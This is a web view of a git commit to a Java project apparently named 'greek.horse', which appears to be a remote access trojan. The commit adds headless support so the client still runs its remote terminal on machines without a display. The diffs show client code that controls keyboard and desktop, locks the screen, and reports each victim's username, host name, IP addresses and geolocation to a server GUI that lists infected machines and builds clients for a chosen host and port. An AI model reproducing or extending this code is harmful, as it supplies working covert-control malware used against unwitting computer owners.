Browse Source

Add headless support

main v1.1
mainSpi 3 years ago
parent
commit
81ceb7ca9a
  1. BIN
      shade/Server.jar
  2. 16
      src/main/java/greek/horse/client/ClientSocketManager.java
  3. 12
      src/main/java/greek/horse/models/NetInfo.java
  4. 16
      src/main/java/greek/horse/server/troyStructure/NetInfoTable.java
  5. 18
      src/main/java/greek/horse/server/ui/controllers/HorseController.java
  6. 22
      src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java
  7. 5
      src/main/resources/scenes/horse.fxml
  8. BIN
      target/chat-1.0-SNAPSHOT.jar
  9. BIN
      target/classes/greek/horse/client/ClientSocketManager$1.class
  10. BIN
      target/classes/greek/horse/client/ClientSocketManager.class
  11. BIN
      target/classes/greek/horse/models/NetInfo.class
  12. BIN
      target/classes/greek/horse/server/troyStructure/NetInfoTable.class
  13. BIN
      target/classes/greek/horse/server/ui/controllers/HorseController.class
  14. BIN
      target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class
  15. BIN
      target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class
  16. 5
      target/classes/scenes/horse.fxml

BIN
shade/Server.jar

16
src/main/java/greek/horse/client/ClientSocketManager.java

@ -34,17 +34,19 @@ public class ClientSocketManager {
private AtomicBoolean running = new AtomicBoolean(true); private AtomicBoolean running = new AtomicBoolean(true);
private final TroyClient troyClient; private final TroyClient troyClient;
private final Robot bot = new Robot();
private final Robot bot = headless ? null : new Robot();
public final static HashMap<Integer, Integer> extendedKeys = createMap(); public final static HashMap<Integer, Integer> extendedKeys = createMap();
private final AtomicReference<ObjectOutputStream> oos = new AtomicReference<>(); private final AtomicReference<ObjectOutputStream> oos = new AtomicReference<>();
private Socket socket; private Socket socket;
private final ExecutorService threadPool = Executors.newCachedThreadPool(); private final ExecutorService threadPool = Executors.newCachedThreadPool();
private final LockTask lockTask = new LockTask(this, bot);
private final ClientTerminalTask terminalTask = new ClientTerminalTask(this); private final ClientTerminalTask terminalTask = new ClientTerminalTask(this);
private final DesktopTask desktopTask = new DesktopTask(this, bot);
private final ClientChatTask chatTask = new ClientChatTask(this);
private final LockTask lockTask = headless ? null : new LockTask(this, bot);
private final DesktopTask desktopTask = headless ? null : new DesktopTask(this, bot);
private final ClientChatTask chatTask = headless ? null : new ClientChatTask(this);
private static final boolean headless = GraphicsEnvironment.isHeadless();
private final HashMap<FunctionTicket, Object> fixedMap = new HashMap<>(); private final HashMap<FunctionTicket, Object> fixedMap = new HashMap<>();
@ -53,11 +55,13 @@ public class ClientSocketManager {
public ClientSocketManager(TroyClient troyClient) throws AWTException { public ClientSocketManager(TroyClient troyClient) throws AWTException {
this.troyClient = troyClient; this.troyClient = troyClient;
if (!headless) {
threadPool.execute(lockTask); threadPool.execute(lockTask);
threadPool.execute(terminalTask);
threadPool.execute(desktopTask); threadPool.execute(desktopTask);
threadPool.execute(chatTask); threadPool.execute(chatTask);
} }
threadPool.execute(terminalTask);
}
private static HashMap<Integer, Integer> createMap() { private static HashMap<Integer, Integer> createMap() {
HashMap<Integer, Integer> extendedKeys = new HashMap<>(); HashMap<Integer, Integer> extendedKeys = new HashMap<>();
@ -429,7 +433,7 @@ public class ClientSocketManager {
JsonReader reader = Json.createReader(new StringReader(response.body().string())); JsonReader reader = Json.createReader(new StringReader(response.body().string()));
JsonObject json = reader.readObject(); JsonObject json = reader.readObject();
return new NetInfo(inet, json);
return new NetInfo(inet, json, headless);
} }

12
src/main/java/greek/horse/models/NetInfo.java

@ -23,9 +23,10 @@ public class NetInfo implements Serializable {
private final String isp; private final String isp;
private final String org; private final String org;
private final String as; private final String as;
private final boolean headless;
public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as) {
public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as, boolean headless) {
this.userName = userName; this.userName = userName;
this.os = os; this.os = os;
this.bigOs = bigOs; this.bigOs = bigOs;
@ -39,10 +40,10 @@ public class NetInfo implements Serializable {
this.isp = isp; this.isp = isp;
this.org = org; this.org = org;
this.as = as; this.as = as;
this.headless = headless;
} }
public NetInfo(InetAddress inet, JsonObject json) throws IOException {
public NetInfo(InetAddress inet, JsonObject json, boolean headless) throws IOException {
if (!json.getString("status").contains("success")){ if (!json.getString("status").contains("success")){
throw new IOException("Status returner false: "+json.getString("status")); throw new IOException("Status returner false: "+json.getString("status"));
@ -59,6 +60,7 @@ public class NetInfo implements Serializable {
os = OS.UNKNOWN; os = OS.UNKNOWN;
} }
this.headless = headless;
this.bigOs = System.getProperty("os.name"); this.bigOs = System.getProperty("os.name");
this.userName = SystemUtils.getUserName(); this.userName = SystemUtils.getUserName();
@ -147,6 +149,10 @@ public class NetInfo implements Serializable {
return bigOs; return bigOs;
} }
public boolean isHeadless() {
return headless;
}
public String getTitle(){ public String getTitle(){
return this.userName+"@"+this.externalIP; return this.userName+"@"+this.externalIP;
} }

16
src/main/java/greek/horse/server/troyStructure/NetInfoTable.java

@ -21,6 +21,8 @@ public class NetInfoTable {
private final SimpleStringProperty isp; private final SimpleStringProperty isp;
private final SimpleStringProperty os; private final SimpleStringProperty os;
private final SimpleStringProperty bigOs; private final SimpleStringProperty bigOs;
private final SimpleStringProperty headlessText;
private final boolean headless;
private final TroyPlebe father; private final TroyPlebe father;
public NetInfoTable(NetInfo netInfo, TroyPlebe father) { public NetInfoTable(NetInfo netInfo, TroyPlebe father) {
@ -32,6 +34,8 @@ public class NetInfoTable {
this.isp = new SimpleStringProperty(netInfo.getIsp()); this.isp = new SimpleStringProperty(netInfo.getIsp());
this.os = new SimpleStringProperty(netInfo.getOs().toString()); this.os = new SimpleStringProperty(netInfo.getOs().toString());
this.bigOs = new SimpleStringProperty(netInfo.getBigOs()); this.bigOs = new SimpleStringProperty(netInfo.getBigOs());
this.headlessText = new SimpleStringProperty(netInfo.isHeadless()?"Yes":"No");
this.headless = netInfo.isHeadless();
this.father = father; this.father = father;
String countryName = netInfo.getCountry().toLowerCase(Locale.ROOT); String countryName = netInfo.getCountry().toLowerCase(Locale.ROOT);
@ -108,6 +112,18 @@ public class NetInfoTable {
return bigOs.get(); return bigOs.get();
} }
public boolean isHeadless() {
return headless;
}
public String getHeadlessText() {
return headlessText.get();
}
public SimpleStringProperty headlessTextProperty() {
return headlessText;
}
public SimpleStringProperty bigOsProperty() { public SimpleStringProperty bigOsProperty() {
return bigOs; return bigOs;
} }

18
src/main/java/greek/horse/server/ui/controllers/HorseController.java

@ -43,11 +43,12 @@ public class HorseController {
public TableColumn<NetInfoTable, String> regionColumn; public TableColumn<NetInfoTable, String> regionColumn;
public TableColumn<NetInfoTable, String> cityColumn; public TableColumn<NetInfoTable, String> cityColumn;
public TableColumn<NetInfoTable, ImageView> flagColumn; public TableColumn<NetInfoTable, ImageView> flagColumn;
public TextField portStart;
public TableColumn<NetInfoTable, String> ispColumn; public TableColumn<NetInfoTable, String> ispColumn;
public TableColumn<NetInfoTable, String> osColumn; public TableColumn<NetInfoTable, String> osColumn;
public TableView<NetInfoTable> tableView;
public TableColumn<NetInfoTable, String> bigOsColumn; public TableColumn<NetInfoTable, String> bigOsColumn;
public TableColumn<NetInfoTable, String> headlessColumn;
public TableView<NetInfoTable> tableView;
public TextField portStart;
public TextField portBuild; public TextField portBuild;
public TextField hostBuild; public TextField hostBuild;
public Button buildBtn; public Button buildBtn;
@ -117,11 +118,11 @@ public class HorseController {
// for demo-ing app // for demo-ing app
// for (int i = 0; i < 10; i++) { // for (int i = 0; i < 10; i++) {
// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A.", false), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions", true), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A.", false), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc", true), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB", false), new TroyPlebe("skibidi")));
// } // }
plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> { plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> {
@ -164,6 +165,7 @@ public class HorseController {
ispColumn.setCellValueFactory(c -> c.getValue().ispProperty()); ispColumn.setCellValueFactory(c -> c.getValue().ispProperty());
osColumn.setCellValueFactory(c -> c.getValue().osProperty()); osColumn.setCellValueFactory(c -> c.getValue().osProperty());
bigOsColumn.setCellValueFactory(c -> c.getValue().bigOsProperty()); bigOsColumn.setCellValueFactory(c -> c.getValue().bigOsProperty());
headlessColumn.setCellValueFactory(c -> c.getValue().headlessTextProperty());
tableView.setRowFactory(new HorseRowFactory(this)); tableView.setRowFactory(new HorseRowFactory(this));
} }
@ -314,6 +316,7 @@ public class HorseController {
"User name: ", "User name: ",
"OS: ", "OS: ",
"Big OS: ", "Big OS: ",
"Headless: ",
"Host name: ", "Host name: ",
"Local IP: ", "Local IP: ",
"External IP: ", "External IP: ",
@ -330,6 +333,7 @@ public class HorseController {
netInfo.getUserName(), netInfo.getUserName(),
netInfo.getOs().toString(), netInfo.getOs().toString(),
netInfo.getBigOs(), netInfo.getBigOs(),
String.valueOf(netInfo.isHeadless()),
netInfo.getHostName(), netInfo.getHostName(),
netInfo.getLocalIP(), netInfo.getLocalIP(),
netInfo.getExternalIP(), netInfo.getExternalIP(),

22
src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java

@ -4,11 +4,15 @@ import greek.horse.server.troyStructure.NetInfoTable;
import greek.horse.server.ui.ChatApp; import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.HorseController; import greek.horse.server.ui.controllers.HorseController;
import javafx.embed.swing.SwingFXUtils; import javafx.embed.swing.SwingFXUtils;
import javafx.event.EventHandler;
import javafx.geometry.Insets; import javafx.geometry.Insets;
import javafx.scene.control.*; import javafx.scene.control.*;
import javafx.scene.image.ImageView; import javafx.scene.image.ImageView;
import javafx.scene.input.ContextMenuEvent;
import javafx.util.Callback; import javafx.util.Callback;
import javax.swing.event.DocumentEvent;
public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableRow<NetInfoTable>> { public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableRow<NetInfoTable>> {
private final HorseController controller; private final HorseController controller;
@ -78,6 +82,24 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
this.controller.contextFullData(row); this.controller.contextFullData(row);
}); });
// sort of one time event
EventHandler<ContextMenuEvent> handler = new EventHandler<>() {
@Override
public void handle(ContextMenuEvent contextMenuEvent) {
NetInfoTable item = row.getItem();
if (item != null) {
if (item.isHeadless()) {
desktop.setDisable(true);
lock.setDisable(true);
chat.setDisable(true);
}
row.removeEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, this);
}
}
};
row.addEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, handler);
contextMenu.getItems().addAll(monitoring, interaction, manageClient); contextMenu.getItems().addAll(monitoring, interaction, manageClient);
row.setContextMenu(contextMenu); row.setContextMenu(contextMenu);

5
src/main/resources/scenes/horse.fxml

@ -11,9 +11,9 @@
<?import javafx.scene.layout.HBox?> <?import javafx.scene.layout.HBox?>
<?import javafx.scene.text.Font?> <?import javafx.scene.text.Font?>
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="697.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="762.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
<center> <center>
<TableView fx:id="tableView" BorderPane.alignment="CENTER">
<TableView fx:id="tableView" prefHeight="320.0" prefWidth="765.0" BorderPane.alignment="CENTER">
<columns> <columns>
<TableColumn id="cu" fx:id="userNameColumn" prefWidth="93.0" style="-fx-padding: 0;" text="Username" /> <TableColumn id="cu" fx:id="userNameColumn" prefWidth="93.0" style="-fx-padding: 0;" text="Username" />
<TableColumn fx:id="ipColumn" prefWidth="98.0" style="-fx-padding: 0;" text="IP" /> <TableColumn fx:id="ipColumn" prefWidth="98.0" style="-fx-padding: 0;" text="IP" />
@ -24,6 +24,7 @@
<TableColumn fx:id="cityColumn" prefWidth="74.0" style="-fx-padding: 0;" text="City" /> <TableColumn fx:id="cityColumn" prefWidth="74.0" style="-fx-padding: 0;" text="City" />
<TableColumn fx:id="osColumn" prefWidth="74.0" style="-fx-padding: 0;" text="OS" /> <TableColumn fx:id="osColumn" prefWidth="74.0" style="-fx-padding: 0;" text="OS" />
<TableColumn fx:id="bigOsColumn" prefWidth="89.0" style="-fx-padding: 0;" text="System" /> <TableColumn fx:id="bigOsColumn" prefWidth="89.0" style="-fx-padding: 0;" text="System" />
<TableColumn fx:id="headlessColumn" prefWidth="67.0" style="-fx-padding: 0;" text="Headless" />
</columns> </columns>
</TableView> </TableView>
</center> </center>

BIN
target/chat-1.0-SNAPSHOT.jar

BIN
target/classes/greek/horse/client/ClientSocketManager$1.class

BIN
target/classes/greek/horse/client/ClientSocketManager.class

BIN
target/classes/greek/horse/models/NetInfo.class

BIN
target/classes/greek/horse/server/troyStructure/NetInfoTable.class

BIN
target/classes/greek/horse/server/ui/controllers/HorseController.class

BIN
target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class

BIN
target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class

5
target/classes/scenes/horse.fxml

@ -11,9 +11,9 @@
<?import javafx.scene.layout.HBox?> <?import javafx.scene.layout.HBox?>
<?import javafx.scene.text.Font?> <?import javafx.scene.text.Font?>
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="697.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="762.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
<center> <center>
<TableView fx:id="tableView" BorderPane.alignment="CENTER">
<TableView fx:id="tableView" prefHeight="320.0" prefWidth="765.0" BorderPane.alignment="CENTER">
<columns> <columns>
<TableColumn id="cu" fx:id="userNameColumn" prefWidth="93.0" style="-fx-padding: 0;" text="Username" /> <TableColumn id="cu" fx:id="userNameColumn" prefWidth="93.0" style="-fx-padding: 0;" text="Username" />
<TableColumn fx:id="ipColumn" prefWidth="98.0" style="-fx-padding: 0;" text="IP" /> <TableColumn fx:id="ipColumn" prefWidth="98.0" style="-fx-padding: 0;" text="IP" />
@ -24,6 +24,7 @@
<TableColumn fx:id="cityColumn" prefWidth="74.0" style="-fx-padding: 0;" text="City" /> <TableColumn fx:id="cityColumn" prefWidth="74.0" style="-fx-padding: 0;" text="City" />
<TableColumn fx:id="osColumn" prefWidth="74.0" style="-fx-padding: 0;" text="OS" /> <TableColumn fx:id="osColumn" prefWidth="74.0" style="-fx-padding: 0;" text="OS" />
<TableColumn fx:id="bigOsColumn" prefWidth="89.0" style="-fx-padding: 0;" text="System" /> <TableColumn fx:id="bigOsColumn" prefWidth="89.0" style="-fx-padding: 0;" text="System" />
<TableColumn fx:id="headlessColumn" prefWidth="67.0" style="-fx-padding: 0;" text="Headless" />
</columns> </columns>
</TableView> </TableView>
</center> </center>

Loading…
Cancel
Save